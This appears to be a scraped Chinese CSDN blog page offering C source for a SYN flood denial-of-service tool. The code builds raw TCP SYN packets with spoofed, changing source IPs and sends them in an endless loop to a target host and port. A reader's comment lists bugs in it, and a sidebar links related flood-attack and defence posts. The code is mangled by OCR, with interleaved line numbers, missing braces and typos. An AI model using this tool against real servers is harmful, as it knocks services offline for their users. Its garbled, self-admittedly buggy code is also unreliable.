

```
//折叠
59 |
58
                       sum = (sum >> 16) + (sum & 0xffff);
60
         sum += (sum >> 16);
61
         //取反
62
         ret = ~sum;
 63
         return (ret);
64
65
     void sendsynfunc(int sockfd,struct sockaddr_in *addr)
66
67
         int count;//统计发送循环次数
68
         char buf[40];//校验和计算
69
70
        char sendBuf[100];
71
        struct ip *ip;
72
        struct tcphdr *tcp;
73
        struct prehdr//tcp伪首部
74
75
            struct sockaddr_in sourceaddr;//源地址
 76
            struct sockaddr_in destaddr;//目标地址
77
            uchar zero;
78
            uchar protocol;
 79
            ushort length;
80
        }prehdr:
       int len = sizeof(struct ip)+sizeof(struct tcphdr);
81
        //开始填充ip与tcp首部
82
       bzero(buf, sizeof(buf));
83
       bzero(sendBuf,sizeof(sendBuf));
 84
       ip = (struct ip *)sendBuf;//指向发送缓冲区的头部
 85
 86
       ip \rightarrow ip \ v = 4;
 87
       ip \rightarrow ip \ hl = 5;
 88
       ip->ip_tos = 0;
 89
       ip->ip_len = htons(len);
 90
        ip->ip_id = 0;
91
        ip->ip_off = 0;//由内核填写
92
        ip->ip_ttl = myrandom(128,255);
       ip->ip_p = IPPROTO_TCP;
93
94
       ip \rightarrow ip sum = 0;
       ip->ip_dst = addr->sin_addr;//目的地址,即攻击目标
95
       printf("ipheader fill finished\n");
96
       tcp=(struct tcphdr*)(sendBuf+sizeof(struct ip));//获取指向TCP头部的指针
97
       tcp->seq = htonl((ulong)myrandom(0,65535));
98
99
       tcp->dest = addr->sin port;//目的端口
100
       tcp->ack seq = htons(myrandom(0,65535));
101
       tcp->syn = 1;
102
       tcp->urg = 1;
103
       tcp->window = htons(myrandom(0,65535));
104
       tcp->check = 0;//校验和
105
       tcp->urg_ptr = htons(myrandom(0,65535));
106
       //循环发送
107
       while(1)
108
            if(SendSEQ++ == 65535)
109
                SendSEQ = 1;//序列号循环
110
           //更新ip首部
111
112
           ip->ip src.s addr = htonl(FakeIpHost+SendSEQ);//每次随机产生源ip地址
113
           ip \rightarrow ip sum = 0;
114
           //更新tcp首部
115
           tcp->seq = htonl(0x12345678+SendSEQ);
116
117
           // ip->ip_src.s_addr = myrandom(0,65535);
118
           printf("source addr is :%s\n",inet_ntoa(ip->ip_src));
119
           printf("dest addr is :%s\n",inet_ntoa(addr->sin_addr));
           printf("\n=======\n");
120
           //tcp份首部数据填充
121
           prehdr.sourceaddr.sin_addr = ip->ip_src;
122
123
           prehdr.destaddr.sin_addr = addr->sin_addr;
124
           prehdr.zero = 0:
125
           prehdr.protocol = 4;
126
           prehdr.length = sizeof(struct tcphdr);
           //封装tcp首部与伪首部至buf;
127
           memcpy(buf,&prehdr,sizeof( prehdr));
```

```
\label{eq:memcpy} \begin{array}{ll} \text{memcpy}(\text{buf+sizeof(prehdr),\&tcp,sizeof(struct tcphdr));}_{130} \end{array}
129
        tcp->check = chksum((u_short *)&buf,12+sizeof(struct tcphdr));//校验和计算131
                                                                                             //封装ip和tcp首部数据包至sendBuf
132
            memcpy(sendBuf,&ip,sizeof(ip));
133
            memcpy(sendBuf+sizeof(ip),&tcp,sizeof(tcp));
            sendto(sockfd,sendBuf,len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
134
135
136 }
137 | int main(int argc,char *argv[])
138
139
         struct sockaddr_in addr;//目标主机地址
140
         int sockfd;
         struct hostent *host;
141
         int on = 1;
142
         int ret;
143
         if(argc < 3 || argc > 3)
144
145
146
             printf("usage:synflood desthostip desthostport\n");
             return 1;
148
149
         bzero(&addr,sizeof(add
150
         addr.sin_family = AF_I
151
         addr.sin_port = htons(atoi(argv[2]));
152
         // 伪装ip
         FakeIpNet = inet_addr(FAKE_IP);
153
         FakeIpHost = ntohl(FakeIpNet);
154
155
         if((ret = inet_aton(argv[1],&addr.sin_addr)) != 0)
156
157
158
            if(( host = gethostbyname(argv[1])) == NULL)
159
                printf("desthost name error:%s %s \n",argv[1],hstrerror(h_errno));
160
161
162
            }else{
163
                memcpy((char *)&addr.sin_addr,(host->h_addr_list)[0],host->h_length);
164
            //设置原始套接字,并设置选项为IP选项
165
166
            sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//root身份才可成功执行
167
            if(sockfd < 0){
168
                printf("socket error\n");
169
                return 1;
170
            //IP HDRINCL在数据中包中包含ip首部
171
            setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
172
173
            setuid(getpid());
174
            sendsynfunc(sockfd,&addr);
175
176
            return 0;
177 }
```

这里值得一提的是,因为我们创建的是原始套接字SOCK\_RAW(这样可以接收本机网卡上的数据帧或者数据包),所以一定要以root身份来执行该程序,否则套接字无法创

个人分类: 网络编程

上一篇 SynFlood---Ddos洪泛攻击 (VC6.0)

下一篇 基于tcp的简单socket通信



#### 不会这些技术,大数据开发薪资不会高?

大数据技术与运用的成熟,应用集中于互联网、金融、医疗、新能源、通信和房地产等行业。整理平均薪资情况和大数据学习大纲供查看

想对作者说点什么?

我来说一句

pirongbing0020 2018-02-05 14:28:31 #1楼

错误好多的感觉 1.sendto(sockfd,sendBuf,len,0,(struct sockaddr \*)&addr,sizeof(struct sockaddr)); addr本身就是个指针了,不要加&了 2.memcpy(sendBuf,&ip,sizeof(ip,memcpy(sendBuf+sizeof(ip),&tcp,sizeof(tcp)); 都让p指向sendBuf了,你还copy一次,自己拷贝自己吗 3.chksum((u\_short \*)&buf,12+sizeof(struct tcphdr)); 这里&buffe 接越界了

## 【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

一.原理1、TCP握手协议第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN\_SEND状态,等待服务器确认;第...

#### TCP三次握手报文 实例详解&&syn flood C/C++ 完整代码实现

先大概说一下 TCP三次握手

## Linux的SYN FLOOD - CSDN博客

SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23 \* gcc -o syn\_test -O3 syn\_test.c \* change log...

#### LINUX对 SYN Flood 攻击的设置[摘] - CSDN博客

如果对 /proc/sys/net/ipv4 下的配置文件进行解释,可以参阅 LinuxAid技术站的...TCP SYN Flood是一種常見,而且有效的遠端(遠程)拒絕...



#### 订单管理系统

百度广告

#### TCP洪水攻击 (SYN Flood) 的诊断和处理

◎ 0 1711

1. SYN Flood介绍 前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。 SYN Flood是当前最流行的DoS(拒绝...

#### kali syn flood 简单尝试 - CSDN博客

sudo hping3 --flood -S -p 9999 x.x.x.x #random source address sudo...Kali Linux渗透测试 125 拒绝服务--Syn-Flood攻击 本文记录 Kal...

#### Linux下synflood源码

\*版权证明: 只允许上传png/jpeg/jpg/gif格式的图片,且小于3M \*详细原因: 取 消提 交 Linux下synflood源码 3积分 立即下载 ...

#### 利用防火墙来防止SYN Flood攻击(转)

DoS (Denial of Service拒绝服务) 和DDoS (Distributed Denial of Service分布式拒绝服务) 攻击是大型网站和网络服务器的安全威胁...

## SYN-Flood遭遇战——Linux内核SYN-Cookie实现探究

SYN Flood好使啊,成本低廉,简单暴力,杀伤力强,更重要的是:无解,一打一个准!这种攻击充分利用了TCP协议的弱点,可以很...

## 多线程自动化SynFlood[Linux下源码]

\*版权证明: 只允许上传png/jpeg/jpg/gif格式的图片,且小于3M \*详细原因: 取 消提 交多线程自动化SynFlood[Linux下源码] 3积分立即...

#### SYN-Flood遭遇战——Linux内核SYN-Cookie实现探究 - CSDN博客

SYN Flood好使啊,成本低廉.简单暴力,杀伤力强,更重要的是:无解,一打一个准!...来看看Linux2.6内核中的SYN Cookie功能是如何实现的...

## ICMP Flood 攻击、UDP Flood 攻击、SYN Flood 攻击

ICMP Flood 攻击检测、UDP Flood 攻击检测、SYN Flood 攻击检测、连接数限制和扫描攻击检测。 ICMP Flood攻击检测 短时间内向...

## 如何丰胸,看看这些建议,胸小?选对方法很重要,让你摆脱平胸

天一诺法维它·顶新

#### syn flood源码 - CSDN博客

SynFlood--Ddos洪泛攻击(linux c) 首先,synflood攻击是一中拒绝服务攻击,它算得上是最常见的一中dos拒绝服务攻击攻击手段。原理在...

#### LINUX 服务器遭到SYN FLOOD攻击 - CSDN博客

http://www.csna.cn/viewthread.php?tid=4658 LINUX下SYN攻防战 (一)SYN攻击原理 SYN攻击属于DOS攻击的...

## 剖析SYN Flood攻击 (一)

● ● 505

这是一篇旧的文章。但是很经典。网络上很少有全文的。一般都是前两章。即所谓的上卷。这次集合成全文。方便查阅收藏。估计...

#### **SYN-Flood**

● ● 196

1. 如何构造 SYN 包? raw socket 2. SYN-Cookie 3. kern.log 4. /var/log 目录下各种日志的含义...

# SYN flood及其应对方法 SYN flood

⊚ 209

## 安全性测试: SYN flood网络攻击

1 SYN Flood攻击介绍: 拒绝服务攻击 (Denial of Service, DoS) 是目前比较有效而又非常难于防御的一种网络攻击方式,它...

# win\_pcap模拟syn\_flood<mark>攻击</mark>

syn\_flood攻击得原理很简单,通过向目的主机发送大量建立TCP连接得请求,但源IP地址是乱填的,所以本机不会收到TCP应答,而...

#### LINUX对 SYN Flood 攻击的设置[摘]

摘于http://www.cublog.cn/opera/showart.php?blogid=12384&id=107049网页在翻页到一个特定的页面的时候,和服务器80端口的连接...

#### TCP三次握手协议和SYN攻击以及DDOS简介

一.TCP的三次握手协议: 第一次握手: 主机A发送位码为syn=1.随机产生segnumber=1234567的数据包到服务器, 主机B由SYN=1知...



## php的发展前景怎

百度广告

#### DDoS的攻击原理与防御方法

● ◎ 1.9万

DDoS的攻击原理与防御方法 不可不知DDoS的攻击原理与防御方法 DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distri...

#### ddos之icmp洪泛攻击源代码

⊚ 1700

声明: 该内容旨在分析网络攻击的存在形式,并不是为了鼓励大家使用文中的方式去攻击别人的计算机和网络。技术是为了造福...

flooding - 洪泛

‰ ⊚ 821

英文: Flooding 中文: 洪泛、泛洪 介绍: 当某个节点收到一个不是发给它的分组时,==就将该分组转发到所有与该节点相连的链路...



#### 测试syn-flood等泛洪攻击的小软件

2012年10月26日 348KB 下载

## 使用Scapy制造SYN洪泛攻击

 $\verb|#!/usr/bin/python #coding=utf-8 from scapy.all import * import optparse def synFlood(src, tgt): \dots |$ 



## 桌面虚拟化

百度广告

# MAC泛洪攻击实现简略版

一、环境搭建 二、实现步骤 1、主机C(攻击机)的IP查询和ARP表查询: 主机A(服务机)的IP查询和ARP表查询: 主机B(客户机...

#### 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇

● ◎ 644

## C语言实现基于SYN洪泛的DoS攻击

这是一个C语言程序,C语言实现基于SYN洪泛的DoS攻击。其中,启动传入参数第一个是伪造源地址,第二个是目的地址,第三个是...

# syn<mark>攻击</mark>源代码

一、linux下源代码实现 /\* syn flood by wqfhenanxc. \* random soruce ip and random sourec port. \* use #inc...

# C++ SYN<mark>攻击</mark>源码

// DOS.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include #include #include #pragm...



# 网站被攻击了

百度广告

## <em>SYN</em> <em>flood</em> C源代码

<em>SYN</em> <em>flood</em> 是属于DOS攻击的一种典型方式,其发生方式就出现在TCP连接的三次握手中...但如果有一个<em>恶...

浅谈原始套接字 SOCK\_RAW 的内幕及其应用 (port scan, packet sniffer, syn flood, i...

● 01.8万

一、SOCK RAW 内幕 首先在讲SOCK RAW 之前,先来看创建socket 的函数: int socket(int domain, int type, int protocol); doma...

SYN Flood攻击

SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP...

MAC泛洪攻击和防御

1. 什么是mac地址泛洪攻击? 交换机中存在着一张记录着MAC地址的表,为了完成数据的快速转发,该表具有自动学习机制;泛洪攻...

#### TCP SYN洪泛攻击的原理及防御方法

507

尽管这种攻击已经出现了十四年,但它的变种至今仍能看到。虽然能有效对抗SYN洪泛的技术已经存在,但是没有对于TCP实现的一个...



## 桌面虚拟化

百度广告

#### inviteflood -SIP/SDP 泛洪攻击

⊚ 3984

0x00前言 会话发起协议(Session Initiation Protocol, 缩写SIP)会话描述协议(Session Description Protocol或简写SDP)描述的是...



### SYNFlood\_洪泛\_攻击的检测与防范

2008年10月13日

200KB

下载





zhiy\_wis

原创 粉丝 61 10

等级: 博客 4

访问 排名

积分: 1774



## 便宜的云主机









# 最新文章

python发送邮件 (含附件) 将wordpress文章分享到qc 微博分享各类规格代码 cookie加密解密函数 解决checkbox未选中不传

## 归档

2015年10月 2014年12月 2014年7月

2014年6月 2014年5月

展开

## 热门文章

PHP判断字符串str中是否

阅读量: 16426

解决checkbox未选中不传

阅读量: 9223

校园招聘--百度笔试

阅读量: 3081

阅读量: 3042

wireshark网络抓取数据包:

SynFlood--Ddos洪泛攻击

阅读量: 2823

#### 最新评论

解决checkbox未选中不传 HeartToo: 666 解决问题啦

进程PCB管理与调度程序

qsyjlscl: 大佬

python练习--360搜索关键 xiaoran668: 如果不想用Pythc 他办法可以解决开发爬虫过程。 码等繁琐操作吗? ...

SynFlood--Ddos洪泛攻... pirongbing0020: 错误好多的原 d,sendBuf,len,0,(struct soc...

基于信号量机制的进程同步 zhiy\_wis: [reply]lchad[/reply];



引流软件







## 联系我们



请扫描二 webr

**2**400-■ QQ≅

关于 招聘 广告服务 ©2018 CSDN版权所有 京IC 📸 百度提供搜索支持

经营性网站备案信息 网络110报警服务 中国互联网举报中心 北京互联网违法和不良信息